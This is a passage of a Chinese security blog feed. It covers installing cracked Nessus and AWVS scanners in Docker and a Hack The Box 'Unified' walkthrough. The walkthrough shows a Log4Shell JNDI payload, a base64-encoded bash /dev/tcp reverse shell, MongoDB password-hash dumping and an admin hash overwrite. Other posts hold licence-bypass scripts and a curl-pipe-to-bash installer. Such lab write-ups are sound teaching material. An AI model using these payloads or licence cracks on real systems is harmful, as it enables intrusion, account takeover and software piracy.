class="line"></span><br><span class="line"><span class="comment">#登陆进 docker容器</span></span><br><span class="line">docker <span class="built_in">exec</span> -it nessus bash</span><br></pre></td></tr></table></figure><h5 id="导入插件和许可"><a href="#导入插件和许可" class="headerlink" title="导入插件和许可"></a>导入插件和许可</h5><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="comment">#登陆进容器以后执行下面的命令</span></span><br><span class="line">bash /opt/crack.sh</span><br></pre></td></tr></table></figure><p>这个时候等一会就好了, 大约十分钟左右, 访问8834端口, 即可, 默认用户名 <code>admin</code> 密码 <code>admin</code></p><p><img src="https://images.hao.kim/uploads/2024/12/155cb0a898d482f3cacca44daf37d0eb4754639c94660323b5eaa0fd5dcfba41.jpg" alt="Nessus-images-0">  </p><h4 id="4-删除"><a href="#4-删除" class="headerlink" title="4. 删除"></a>4. 删除</h4><p>因为使用了 <code>--cap-add LINUX_IMMUTABLE</code> 权限, 删除容器的时候会提示失败, 我们需要取消对应文件的 <code>锁定</code> 权限即可</p><p><img src="https://images.hao.kim/uploads/2024/12/8fd6bd127d6e0a85791a40dd180ff248ded3e602ab9399a9fd1e671d16ad47f1.jpg" alt="Nessus-images-1">  </p><p>例如,上图的地址为</p><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="string">/var/lib/docker/overlay2/58cf5fc21037833de45ff6406a37d26a0cb10ef81df999a39a97f79e32db7bba/diff/opt/nessus/var/nessus/plugin_feed_info.inc</span></span><br></pre></td></tr></table></figure><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">chattr -i /var/lib/docker/overlay2/58cf5fc21037833de45ff6406a37d26a0cb10ef81df999a39a97f79e32db7bba/diff/opt/nessus/var/nessus/plugin_feed_info.inc</span><br></pre></td></tr></table></figure><p>插件目录,批量取消锁定权</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">chattr -i -R /var/lib/docker/overlay2/c9df7514dedca1c5f230dd01d99016720986d2eb0195cd6c542aebe4b95da79e/diff/opt/nessus/lib/nessus/plugins/</span><br></pre></td></tr></table></figure><p>每次新创建的docker, docker路径都是不一样的,docker 文件 映射的主机路径 为 Uppdir里面的路径,使用 inspect可以查看</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">docker inspect nessus</span><br></pre></td></tr></table></figure><p><img src="https://images.hao.kim/uploads/2024/12/bb6ec5e0e28621e0ecefaeb76fe9ff9db702636d9469e74cebfec4097e840d4c.jpg" alt="Nessus-images-2">  </p><h4 id="Linux一键安装"><a href="#Linux一键安装" class="headerlink" title="Linux一键安装"></a>Linux一键安装</h4><p>环境</p><ul><li>OS: debian11</li><li>Nessus: 10.5.0</li><li>Plugins: 202303071847</li></ul><h5 id="直接使用"><a href="#直接使用" class="headerlink" title="直接使用"></a>直接使用</h5><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">curl -k https://www.hao.kim/soft/nessus-install.txt | bash</span><br></pre></td></tr></table></figure><p>其他系统的ness可以到这里下载 <code>https://www.tenable.com/downloads/nessus</code> 这里为 <code>debian11</code>, 其他系统对应脚本的4-5行内容进行修改</p><p><img src="https://images.hao.kim/uploads/2024/12/b8fced6f5f362ba49a01618a95643fb7594f3920492225f3d04ce548fa5cb4c8.jpg" alt="Nessus-images-3">  </p><p>如果没有安装 <code>curl,dpkg</code> 的安装一下</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="comment">#debian/Ubuntu</span></span><br><span class="line">apt install curl dpkg -y</span><br><span class="line"></span><br><span class="line"><span class="comment">#Rhel Centos</span></span><br><span class="line">yum -y install curl dpkg -y</span><br></pre></td></tr></table></figure><p><code>ness-install.sh</code></p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="meta">#!/bin/bash</span></span><br><span class="line">/etc/init.d/nessusd stop</span><br><span class="line"></span><br><span class="line">curl --request GET \</span><br><span class="line">  --url <span class="string">&#x27;https://www.tenable.com/downloads/api/v2/pages/nessus/files/Nessus-10.5.0-debian10_amd64.deb&#x27;</span> \</span><br><span class="line">  --output <span class="string">&#x27;Nessus.deb&#x27;</span></span><br><span class="line"></span><br><span class="line">dpkg -i Nessus.deb  &amp;&amp; <span class="built_in">rm</span> -rf Nessus.deb</span><br><span class="line"></span><br><span class="line">curl -A Mozilla -o all-2.0.tar.gz \</span><br><span class="line">  --url <span class="string">&#x27;https://plugins.nessus.org/v2/nessus.php?f=all-2.0.tar.gz&amp;amp;u=4e2abfd83a40e2012ebf6537ade2f207&amp;amp;p=29a34e24fc12d3f5fdfbb1ae948972c6&#x27;</span> &amp;&gt;/dev/null</span><br><span class="line"><span class="comment">#curl -A Mozilla -o all-2.0.tar.gz --url &#x27;https://www.hao.kim/soft/all-2.0.tar.gz 如果国内下载慢可以使用我下载的, 每天更新</span></span><br><span class="line"></span><br><span class="line">chattr -i -R /opt/nessus/lib/nessus/plugins/</span><br><span class="line">chattr -i /opt/nessus/var/nessus/plugin_feed_info.inc</span><br><span class="line">/opt/nessus/sbin/nessuscli update all-2.0.tar.gz &amp;&amp; <span class="built_in">rm</span> -rf update all-2.0.tar.gz</span><br><span class="line"></span><br><span class="line">vernum=$(curl https://plugins.nessus.org/v2/plugins.php 2&gt; /dev/null)</span><br><span class="line"></span><br><span class="line"><span class="built_in">cat</span> &gt; /opt/nessus/var/nessus/plugin_feed_info.inc &lt;&lt;<span class="string">&quot;EOF&quot;</span></span><br><span class="line">PLUGIN_SET = <span class="string">&quot;<span class="variable">$&#123;vernum&#125;</span>&quot;</span>;</span><br><span class="line">PLUGIN_FEED = <span class="string">&quot;ProfessionalFeed (Direct)&quot;</span>;</span><br><span class="line">PLUGIN_FEED_TRANSPORT = <span class="string">&quot;Tenable Network Security Lightning&quot;</span>;</span><br><span class="line">EOF</span><br><span class="line"></span><br><span class="line"><span class="built_in">cp</span> /opt/nessus/var/nessus/plugin_feed_info.inc /opt/nessus/lib/nessus/plugins/plugin_feed_info.inc</span><br><span class="line">chattr +i /opt/nessus/var/nessus/plugin_feed_info.inc</span><br><span class="line"></span><br><span class="line">chattr +i -R /opt/nessus/lib/nessus/plugins/ <span class="comment"># 有的使用chattr +i -R 提示行数太多报错的话,用下面一行</span></span><br><span class="line"><span class="comment">#find /opt/nessus/lib/nessus/plugins/ -type f -exec chattr +i &#123;&#125; \; </span></span><br><span class="line"></span><br><span class="line">chattr -i /opt/nessus/lib/nessus/plugins/plugin_feed_info.inc</span><br><span class="line"></span><br><span class="line"><span class="comment">#systemd方式</span></span><br><span class="line"><span class="comment">#/bin/systemctl start nessusd.service</span></span><br><span class="line"></span><br><span class="line">/etc/init.d/nessusd start</span><br></pre></td></tr></table></figure><blockquote><p>参考 <code>https://www.iculture.cc/software/pig=25546</code></p></blockquote>]]></content>
      
      
      <categories>
          
          <category> docker </category>
          
      </categories>
      
      
        <tags>
            
            <tag> Nessus </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>手把手构建AWVS的docker镜像</title>
      <link href="/archives/docker/awvs-images.html"/>
      <url>/archives/docker/awvs-images.html</url>
      
        <content type="html"><![CDATA[<h4 id="大致分为下面几个步骤"><a href="#大致分为下面几个步骤" class="headerlink" title="大致分为下面几个步骤"></a>大致分为下面几个步骤</h4><ol><li><p>拉取debian基础镜像, 安装基础环境</p></li><li><p>添加awvs 和 license 到镜像, 并进行初始安装</p></li><li><p>构建镜像,并上传docker hub</p></li><li><p>使用镜像创建 awvs 容器</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">docker run -d -it  --cap-add LINUX_IMMUTABLE -p 3443:3443 --name awvs k9scc/awvs:v15.4 /bin/bash /opt/awvs/start.sh</span><br></pre></td></tr></table></figure></li><li><p>删除容器</p></li></ol><h4 id="1-创建基础镜像"><a href="#1-创建基础镜像" class="headerlink" title="1. 创建基础镜像"></a>1. 创建基础镜像</h4><p>Dockerfile</p><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="string">FROM</span> <span class="string">debian</span></span><br><span class="line"><span class="string">RUN</span> <span class="string">sed</span> <span class="string">-i</span> <span class="string">&#x27;s/deb.debian.org/mirrors.ustc.edu.cn/g&#x27;</span> <span class="string">/etc/apt/sources.list</span> <span class="string">&amp;&amp;\</span></span><br><span class="line">    <span class="string">apt</span> <span class="string">update</span> <span class="string">&amp;&amp;\</span></span><br><span class="line">    <span class="string">apt</span> <span class="string">-y</span> <span class="string">install</span> <span class="string">net-tools</span> <span class="string">libx11-6</span> <span class="string">libxcomposite1</span> <span class="string">libxdamage1</span> <span class="string">libxext-dev</span> <span class="string">libxfixes-dev</span> <span class="string">libxrandr-dev</span> <span class="string">libasound2</span> <span class="string">libatk-adaptor</span> <span class="string">libatk-bridge2.0-0</span> <span class="string">libatk-bridge2.0-dev</span> <span class="string">libatspi2.0-0</span> <span class="string">libcairo2</span> <span class="string">libcups2</span> <span class="string">libdbus-1-3</span> <span class="string">libdrm2</span> <span class="string">libexpat1</span> <span class="string">libgbm1</span> <span class="string">libgio-cil</span> <span class="string">libglib2.0-0</span> <span class="string">libglib-perl</span> <span class="string">librust-gobject-sys-dev</span> <span class="string">libnspr4</span> <span class="string">libnss3</span> <span class="string">libpango-1.0-0</span> <span class="string">libxkbcommon0</span> <span class="string">sudo</span> <span class="string">systemctl</span></span><br></pre></td></tr></table></figure><p>构建包含基础环境镜像</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">docker build -t debian-env  .</span><br><span class="line"></span><br><span class="line"><span class="comment">#查看构建好的镜像</span></span><br><span class="line">docker images</span><br></pre></td></tr></table></figure><p><img src="https://images.hao.kim/uploads/2024/12/d9ddfb1dda6926203a84cb281efe3a6e5ad7428e74edf23f706a04c5b39b0674.jpg" alt="awvs-images-0">  </p><h4 id="2-使用上面的镜像创建一个容器-并且把应用添加到镜像"><a href="#2-使用上面的镜像创建一个容器-并且把应用添加到镜像" class="headerlink" title="2. 使用上面的镜像创建一个容器, 并且把应用添加到镜像"></a>2. 使用上面的镜像创建一个容器, 并且把应用添加到镜像</h4><h5 id="安装awvs-app文件夹里面存放awvs安装文件和license文件"><a href="#安装awvs-app文件夹里面存放awvs安装文件和license文件" class="headerlink" title="安装awvs, app文件夹里面存放awvs安装文件和license文件"></a>安装awvs, app文件夹里面存放awvs安装文件和license文件</h5><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">docker run -it --name awvs-init debian-env bash</span><br><span class="line"></span><br><span class="line"><span class="comment">#另外打开一个终端</span></span><br><span class="line">docker <span class="built_in">cp</span> app awvs-init:/opt/awvs</span><br></pre></td></tr></table></figure><h5 id="安装awvs-此时安装好后时未激活状态"><a href="#安装awvs-此时安装好后时未激活状态" class="headerlink" title="安装awvs, 此时安装好后时未激活状态"></a>安装awvs, 此时安装好后时未激活状态</h5><p>安装步骤</p><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="number">1</span><span class="string">.</span> <span class="string">&gt;&gt;&gt;</span> <span class="string">回车</span></span><br><span class="line"></span><br><span class="line"><span class="number">2</span><span class="string">.</span> <span class="string">---More---</span> <span class="string">q</span> <span class="comment">#按键盘q</span></span><br><span class="line"></span><br><span class="line"><span class="number">3</span><span class="string">.</span> <span class="string">Accept</span> <span class="string">the</span> <span class="string">license</span> <span class="string">terms?</span> [<span class="literal">yes</span><span class="string">|no</span>]</span><br><span class="line">[<span class="literal">no</span>] <span class="string">&gt;&gt;&gt;</span> <span class="literal">yes</span> <span class="comment">#输入yes</span></span><br><span class="line"></span><br><span class="line"><span class="number">4</span><span class="string">.</span> <span class="string">Hostname</span> [<span class="string">a366*****23</span>]<span class="string">:</span> <span class="string">awvs</span> <span class="comment">#随便输</span></span><br><span class="line"></span><br><span class="line"><span class="number">5</span> <span class="string">Configuring</span> <span class="string">the</span> <span class="string">master</span> <span class="string">user...</span></span><br><span class="line">    <span class="attr">Email:</span> <span class="string">admin@admin.com</span>  <span class="comment">#登陆邮箱</span></span><br><span class="line">    <span class="attr">Password:</span>               <span class="comment">#密码</span></span><br><span class="line">    <span class="attr">Password again:</span>         <span class="comment">#密码</span></span><br></pre></td></tr></table></figure><p><img src="https://images.hao.kim/uploads/2024/12/7cf266563df97d9cc146112f64768cb3a83b396978507c430c4c8799b2d9aacd.jpg" alt="awvs-images-1">  </p><p>清理</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">apt clean all</span><br><span class="line"><span class="built_in">cd</span> /opt/awvs</span><br><span class="line"><span class="built_in">rm</span> acunetix_15.4.230222085_x64.sh install.log</span><br></pre></td></tr></table></figure><h4 id="3-构建镜像-并上传到docker-hub"><a href="#3-构建镜像-并上传到docker-hub" class="headerlink" title="3. 构建镜像, 并上传到docker hub"></a>3. 构建镜像, 并上传到docker hub</h4><h5 id="构建镜像"><a href="#构建镜像" class="headerlink" title="构建镜像"></a>构建镜像</h5><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">docker commit awvs-init awvs:init</span><br></pre></td></tr></table></figure><h5 id="上传dockerhub"><a href="#上传dockerhub" class="headerlink" title="上传dockerhub"></a>上传dockerhub</h5><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="comment">#登陆dockerhub</span></span><br><span class="line">docker login</span><br><span class="line">    username</span><br><span class="line">    password</span><br><span class="line"></span><br><span class="line"><span class="comment">#打标签,然后上传镜像</span></span><br><span class="line">docker tag awvs:init 用户名/仓库名:标签</span><br><span class="line">docker push 用户名/仓库名:标签</span><br></pre></td></tr></table></figure><h4 id="4-使用"><a href="#4-使用" class="headerlink" title="4. 使用"></a>4. 使用</h4><h5 id="创建容器"><a href="#创建容器" class="headerlink" title="创建容器"></a>创建容器</h5><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">docker run -d -it  --cap-add LINUX_IMMUTABLE -p 3443:3443 --name awvs k9scc/awvs:v15.4 /bin/bash /opt/awvs/start.sh</span><br></pre></td></tr></table></figure><p>这里使用了 <code>--cap-add LINUX_IMMUTABLE</code>是为了方便chattr命令锁定lisense文件</p><p>start.sh内容</p><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="string">add_entry_to_hosts</span> <span class="string">()</span> &#123;</span><br><span class="line">  <span class="string">local</span> <span class="string">hostname=$1</span></span><br><span class="line">    <span class="string">echo</span> <span class="string">&quot;Adding $hostname entry.&quot;</span></span><br><span class="line">    <span class="string">echo</span> <span class="string">-e</span> <span class="string">&quot;127.0.0.1  $hostname\n::1  $hostname&quot;</span> <span class="string">&gt;&gt;</span> <span class="string">/etc/hosts</span></span><br><span class="line">&#125;</span><br><span class="line"><span class="string">add_entry_to_hosts</span> <span class="string">&quot;erp.acunetix.com&quot;</span></span><br><span class="line"><span class="string">add_entry_to_hosts</span> <span class="string">&quot;telemetry.invicti.com&quot;</span></span><br><span class="line"><span class="string">add_entry_to_hosts</span> <span class="string">&quot;updates.acunetix.com&quot;</span></span><br><span class="line"></span><br><span class="line"><span class="string">su</span> <span class="string">-l</span> <span class="string">acunetix</span> <span class="string">-c</span> <span class="string">&quot;/home/acunetix/.acunetix/start.sh&quot;</span></span><br></pre></td></tr></table></figure><h5 id="第一次创建容器后的时候需要运行crack-sh"><a href="#第一次创建容器后的时候需要运行crack-sh" class="headerlink" title="第一次创建容器后的时候需要运行crack.sh"></a>第一次创建容器后的时候需要运行crack.sh</h5><p>进入容器</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">docker <span class="built_in">exec</span> -it awvs bash</span><br><span class="line"></span><br><span class="line"><span class="comment">#进入容器后</span></span><br><span class="line">    <span class="built_in">cd</span> /opt/awvs/</span><br><span class="line">    bash start.sh</span><br></pre></td></tr></table></figure><h4 id="5-删除容器"><a href="#5-删除容器" class="headerlink" title="5. 删除容器"></a>5. 删除容器</h4><p>因为使用了特殊权限,删除会提示错误, chattr -i 取消对应路径的文件权限即可删除 如图</p><p><img src="https://images.hao.kim/uploads/2024/12/1c44559506f8b6955a0a0d338859d73946e6c80b12184e92c9ee233c1ab32511.jpg" alt="awvs-images-2">  </p><p>提示</p><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="comment">#docker rm awvs</span></span><br><span class="line"><span class="attr">Error response from daemon: container 2810520df0d51b693522e97d0328d01ddbc8abb5caf88576f8df83d1ae07451a:</span> <span class="string">driver</span> <span class="string">&quot;overlay2&quot;</span> <span class="attr">failed to remove root filesystem: unlinkat /var/lib/docker/overlay2/81b0d118aa36af991ffdee8e12d8a831df10653d73af7df3c195e92dd885afe6/diff/home/acunetix/.acunetix/data/license/license_info.json:</span> <span class="string">operation</span> <span class="string">not</span> <span class="string">permitted</span></span><br><span class="line"></span><br><span class="line"><span class="comment">#路径为</span></span><br><span class="line"><span class="string">/var/lib/docker/overlay2/81b0d118aa36af991ffdee8e12d8a831df10653d73af7df3c195e92dd885afe6/diff/home/acunetix/.acunetix/data/license/</span></span><br></pre></td></tr></table></figure><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">docker <span class="built_in">rm</span> awvs</span><br><span class="line"></span><br><span class="line"><span class="comment">#这里的路径改成自己的</span></span><br><span class="line"> chattr -i /var/lib/docker/overlay2/81b0d118aa36af991ffdee8e12d8a831df10653d73af7df3c195e92dd885afe6/diff/home/acunetix/.acunetix/data/license/license_info.json</span><br><span class="line">chattr -i /var/lib/docker/overlay2/81b0d118aa36af991ffdee8e12d8a831df10653d73af7df3c195e92dd885afe6/diff/home/acunetix/.acunetix/data/license/wa_data.dat</span><br></pre></td></tr></table></figure><p><img src="https://images.hao.kim/uploads/2024/12/85a29fc7e3f06d82f33a534201872d87a1f6f8b109872c29c688905714fd8dc5.jpg" alt="awvs-images-3">  </p>]]></content>
      
      
      <categories>
          
          <category> docker </category>
          
      </categories>
      
      
        <tags>
            
            <tag> awvs </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>docker容器中使用chattr修改文件权限报错 &quot;chattr Operation not permitted while setting flags on ***&quot;</title>
      <link href="/archives/docker/CAP_LINUX_IMMUTABLE.html"/>
      <url>/archives/docker/CAP_LINUX_IMMUTABLE.html</url>
      
        <content type="html"><![CDATA[<p>docker中默认是禁止 <code>CAP_LINUX_IMMUTABLE</code> 的 像chattr这些命令,是无法正常使用的, 如果使用 <code>chattr +i file</code> 会提示 <code>chattr: Operation not permitted while setting flags on ***</code> 要正常使用chattr等命令, 需要开启 <code>CAP_LINUX_IMMUTABLE</code></p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">docker run -it --cap-add LINUX_IMMUTABLE xxx</span><br></pre></td></tr></table></figure><p>如果提示没有chattr命令,需要安装<code>e2fsprogs</code></p><p>centos&#x2F;redhat&#x2F;archlinux</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">yum -y install e2fsprogs</span><br></pre></td></tr></table></figure><p>debian&#x2F;ubuntu</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">apt-get install e2fsprogs</span><br></pre></td></tr></table></figure>]]></content>
      
      
      <categories>
          
          <category> docker </category>
          
      </categories>
      
      
        <tags>
            
            <tag> chattr </tag>
            
            <tag> CAP_LINUX_IMMUTABLE </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>Hack The Box :: Starting Point - Unified</title>
      <link href="/archives/security/HTB/start-Unified.html"/>
      <url>/archives/security/HTB/start-Unified.html</url>
      
        <content type="html"><![CDATA[<h5 id="扫描-开放端口，22，6789，8443，8080"><a href="#扫描-开放端口，22，6789，8443，8080" class="headerlink" title="扫描, 开放端口，22，6789，8443，8080"></a>扫描, 开放端口，22，6789，8443，8080</h5><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">nmap -A 10.129.56.105 --open</span><br></pre></td></tr></table></figure><p><img src="https://images.hao.kim/uploads/2024/12/0ca558b80a4051d791ea8ada528bdd6eef4004e51ca406844492c899f126d7e1.jpg" alt="start-Unified-1">  </p><h5 id="访问https-10-129-56-105-8443"><a href="#访问https-10-129-56-105-8443" class="headerlink" title="访问https://10.129.56.105:8443"></a>访问<code>https://10.129.56.105:8443</code></h5><p><img src="https://images.hao.kim/uploads/2024/12/99af84e08c4ff9329a8e08380d982a06b3cded84e23209c1163d31e5c3c25779.jpg" alt="start-Unified-2">  </p><h5 id="经过搜索发现漏洞为-cve-2021-44228"><a href="#经过搜索发现漏洞为-cve-2021-44228" class="headerlink" title="经过搜索发现漏洞为 cve-2021-44228"></a>经过搜索发现漏洞为 <code>cve-2021-44228</code></h5><p><a href="https://www.sprocketsecurity.com/resources/another-log4j-on-the-fire-unifi">https://www.sprocketsecurity.com/resources/another-log4j-on-the-fire-unifi</a></p><h5 id="登录-抓包"><a href="#登录-抓包" class="headerlink" title="登录 抓包"></a>登录 抓包</h5><p><img src="https://images.hao.kim/uploads/2024/12/8f33eef583ded2b4b96bd782d0498447cf946c98d65aff4fea5ce2dfd7c89a08.jpg" alt="start-Unified-3">  </p><p>把post的包发到Repeater，tcpdump监听网卡389端口，ldap默认389， 然后改包，发送， 可以看到收到一个发往端口389的数据包</p><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="string">&quot;remember&quot;</span><span class="string">:false,</span></span><br><span class="line"><span class="comment">#改为 $&#123;jndi:ldap://本地IP地址&#125;</span></span><br><span class="line"><span class="string">&quot;remember&quot;</span><span class="string">:&quot;$&#123;jndi:ldap://10.10.16.130/o=tomcat&#125;&quot;,</span></span><br></pre></td></tr></table></figure><p><img src="https://images.hao.kim/uploads/2024/12/731ecc1b018e658ee88397eaa68d6d6af463bb1ec01d562fa9e8c813d4cc017e.jpg" alt="start-Unified-4">  </p><h5 id="部署一个jndi"><a href="#部署一个jndi" class="headerlink" title="部署一个jndi"></a>部署一个jndi</h5><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="comment">#安装编译环境并拉取项目编译</span></span><br><span class="line">apt install maven -y</span><br><span class="line">git <span class="built_in">clone</span> https://github.com/veracode-research/rogue-jndi &amp;&amp; <span class="built_in">cd</span> rogue-jndi &amp;&amp; mvn package</span><br></pre></td></tr></table></figure><p><img src="https://images.hao.kim/uploads/2024/12/6c2463d583c116aff8a5fa0c7ba29ff863b0f90370bcc2cf3b9548de3361e632.jpg" alt="start-Unified-5">  </p><p>编写反弹命令 并编码为base64</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="comment"># echo &#x27;bash -c bash -i &gt;&amp;/dev/tcp/反弹地址，这里是本地地址/端口 0&gt;&amp;1&#x27; | base64</span></span><br><span class="line"> <span class="built_in">echo</span> <span class="string">&#x27;bash -c bash -i &gt;&amp;/dev/tcp/10.10.16.130/4444 0&gt;&amp;1&#x27;</span> | <span class="built_in">base64</span></span><br><span class="line"></span><br><span class="line"><span class="comment">#YmFzaCAtYyBiYXNoIC1pID4mL2Rldi90Y3AvMTAuMTAuMTYuMTMwLzQ0NDQgMD4mMQo=</span></span><br><span class="line"></span><br><span class="line"><span class="comment">#运行jndi ，hostname后跟着反弹地址，这里是本地地址</span></span><br><span class="line">java -jar RogueJndi-1.1.jar --<span class="built_in">command</span> <span class="string">&quot;bash -c &#123;echo,YmFzaCAtYyBiYXNoIC1pID4mL2Rldi90Y3AvMTAuMTAuMTYuMTMwLzQ0NDQgMD4mMQo=</span></span><br><span class="line"><span class="string">&#125;|&#123;base64,-d&#125;|&#123;bash,-i&#125;&quot;</span> --hostname <span class="string">&quot;10.10.16.130&quot;</span></span><br></pre></td></tr></table></figure><p><img src="https://images.hao.kim/uploads/2024/12/1b7b3ed4c35de185d89abb1184eccce282facb46dca4390637d5a76135277eab.jpg" alt="start-Unified-6">  </p><h5 id="漏洞利用获取shell"><a href="#漏洞利用获取shell" class="headerlink" title="漏洞利用获取shell"></a>漏洞利用获取shell</h5><p>本地监听端口 4444 ，为上面设置的，有可以设置为其他，需要和上面的对应</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">nc -lnvp 4444</span><br></pre></td></tr></table></figure><p>burpsuite 改包 , 然后发送</p><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="string">&quot;remember&quot;</span><span class="string">:&quot;$&#123;jndi:ldap://10.10.16.130:1389/o=tomcat&#125;&quot;,</span></span><br></pre></td></tr></table></figure><p>收到反弹shell</p><p><img src="https://images.hao.kim/uploads/2024/12/c1ee81bd4e9b9be881c2c128cea79b54bd0d5902f700306e8c17644113e07096.jpg" alt="start-Unified-7">  </p><h4 id="切换bash终端"><a href="#切换bash终端" class="headerlink" title="切换bash终端"></a>切换bash终端</h4><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">script /dev/null -c bash</span><br></pre></td></tr></table></figure><p>unifi 配置文件 <code>/usr/lib/unifi/data/system.properties</code></p><h5 id="mongo端口"><a href="#mongo端口" class="headerlink" title="mongo端口"></a>mongo端口</h5><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">ps -ef | grep mongo</span><br></pre></td></tr></table></figure><p><img src="https://images.hao.kim/uploads/2024/12/0a0499ce1ec06bd60747f579bbb71e12a406d6430eea34600efa4c4975eb33f5.jpg" alt="start-Unified-8">  </p><h5 id="进入mongo-，并查看数据库"><a href="#进入mongo-，并查看数据库" class="headerlink" title="进入mongo ，并查看数据库"></a>进入mongo ，并查看数据库</h5><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">mongo --port 27117</span><br><span class="line">show dbs</span><br></pre></td></tr></table></figure><p><img src="https://images.hao.kim/uploads/2024/12/edaed7201753f7c0142db35462849b9d6b295d40a43cd4169b11b7df1381c65d.jpg" alt="start-Unified-9">  </p><h5 id="获取用户密码hash"><a href="#获取用户密码hash" class="headerlink" title="获取用户密码hash"></a>获取用户密码hash</h5><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">mongo --port 27117 ace --<span class="built_in">eval</span> <span class="string">&quot;db.admin.find().forEach(printjson);&quot;</span></span><br></pre></td></tr></table></figure><p><img src="https://images.hao.kim/uploads/2024/12/7ca10dbaecff34c36f734e179ab4971003f05ae993fe19e37a60f2b480932ab4.jpg" alt="start-Unified-10">  </p><p>密码为$6$ 可以通过hashcat进行破解，慢，成功几率小</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">hashcat -a 0 -m 1800 hash.txt 字典路径</span><br></pre></td></tr></table></figure><p>hash.txt</p><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="string">$6$Ry6Vdbse$8enMR5Znxoo.WfCMd/Xk65GwuQEPx1M.QP8/qHiQV0PvUc3uHuonK4WcTQFN1CRk3GwQaquyVwCVq8iQgPTt4.</span></span><br></pre></td></tr></table></figure><h5 id="修改用户密码"><a href="#修改用户密码" class="headerlink" title="修改用户密码"></a>修改用户密码</h5><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="comment">#生成一个hash值</span></span><br><span class="line">mkpasswd -m sha-512 123456</span><br><span class="line"></span><br><span class="line"><span class="comment">#$6$2AIEYvn9N5FpSTI0$vViX7OcskP1wCUjrCgZoeoV31WNigJg00.Pln3nXVzdrU7v9DEzKp2EvYFeCu5iXs1Q1x1NicNkXZHi6YBMrH1</span></span><br><span class="line"></span><br><span class="line"><span class="comment">#修改hash</span></span><br><span class="line">mongo --port 27117 ace --<span class="built_in">eval</span> <span class="string">&#x27;db.admin.update(&#123;&quot;_id&quot;:ObjectId(&quot;61ce278f46e0fb0012d47ee4&quot;)&#125;, &#123;$set:&#123;&quot;x_shadow&quot;:&quot;$6$2AIEYvn9N5FpSTI0$vViX7OcskP1wCUjrCgZoeoV31WNigJg00.Pln3nXVzdrU7v9DEzKp2EvYFeCu5iXs1Q1x1NicNkXZHi6YBMrH1&quot;&#125;&#125;)&#x27;</span></span><br></pre></td></tr></table></figure><p><img src="https://images.hao.kim/uploads/2024/12/2c873d5c0af08b4ecf92b2a467cac94c4e8976ea84040588c8f061a87dd62197.jpg" alt="start-Unified-11">  </p><p>使用用户名 <code>administrator</code>密码 <code>123456</code> 登录 <a href="https://10.129.56.105:8443/manage/account/login?redirect=/manage">https://10.129.56.105:8443/manage/account/login?redirect=%2Fmanage</a> 然后在 <code>设置</code> -》 <code>site</code> -》<code>device auth</code> 可以看到 密码 <code>NotACrackablePassword4U2022</code></p><p><img src="https://images.hao.kim/uploads/2024/12/0a05384667043a54173fa03d8a4d9fffa723ab46f9333aaaf8e3851fbad9ab5a.jpg" alt="start-Unified-12">  </p><p>通过获取的root密码登录ssh ，获取flag</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">ssh root@10.129.56.105</span><br><span class="line">    NotACrackablePassword4U2022</span><br><span class="line"><span class="built_in">ls</span></span><br><span class="line"><span class="built_in">cat</span> root.txt</span><br><span class="line"></span><br><span class="line"><span class="built_in">ls</span> /home/michael</span><br><span class="line"><span class="built_in">cat</span> /home/michael/user.txt</span><br></pre></td></tr></table></figure><p><img src="https://images.hao.kim/uploads/2024/12/931d30cde86ba1f81028e1389f19313801b8d37843f9e0ca0743420719b5dd38.jpg" alt="start-Unified-13">  </p><h4 id="除此之外还可以使用msf，-一键getshell"><a href="#除此之外还可以使用msf，-一键getshell" class="headerlink" title="除此之外还可以使用msf， 一键getshell"></a>除此之外还可以使用msf， 一键getshell</h4><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">msfconsole</span><br><span class="line">use exploit/multi/http/ubiquiti_unifi_log4shell</span><br><span class="line"><span class="built_in">set</span> rhosts 10.129.23.127    <span class="comment">#远程IP，unifi所在服务器IP</span></span><br><span class="line"><span class="built_in">set</span> lhost 10.10.16.130        <span class="comment">#反弹IP ，这里是本地IP</span></span><br><span class="line"><span class="built_in">set</span> srvhost 10.10.16.130    <span class="comment">#Jndi服务器IP，这里是本地IP，如果没有msf会创建一个jndi服务并开启389端口， 端口也可以改</span></span><br><span class="line"></span><br><span 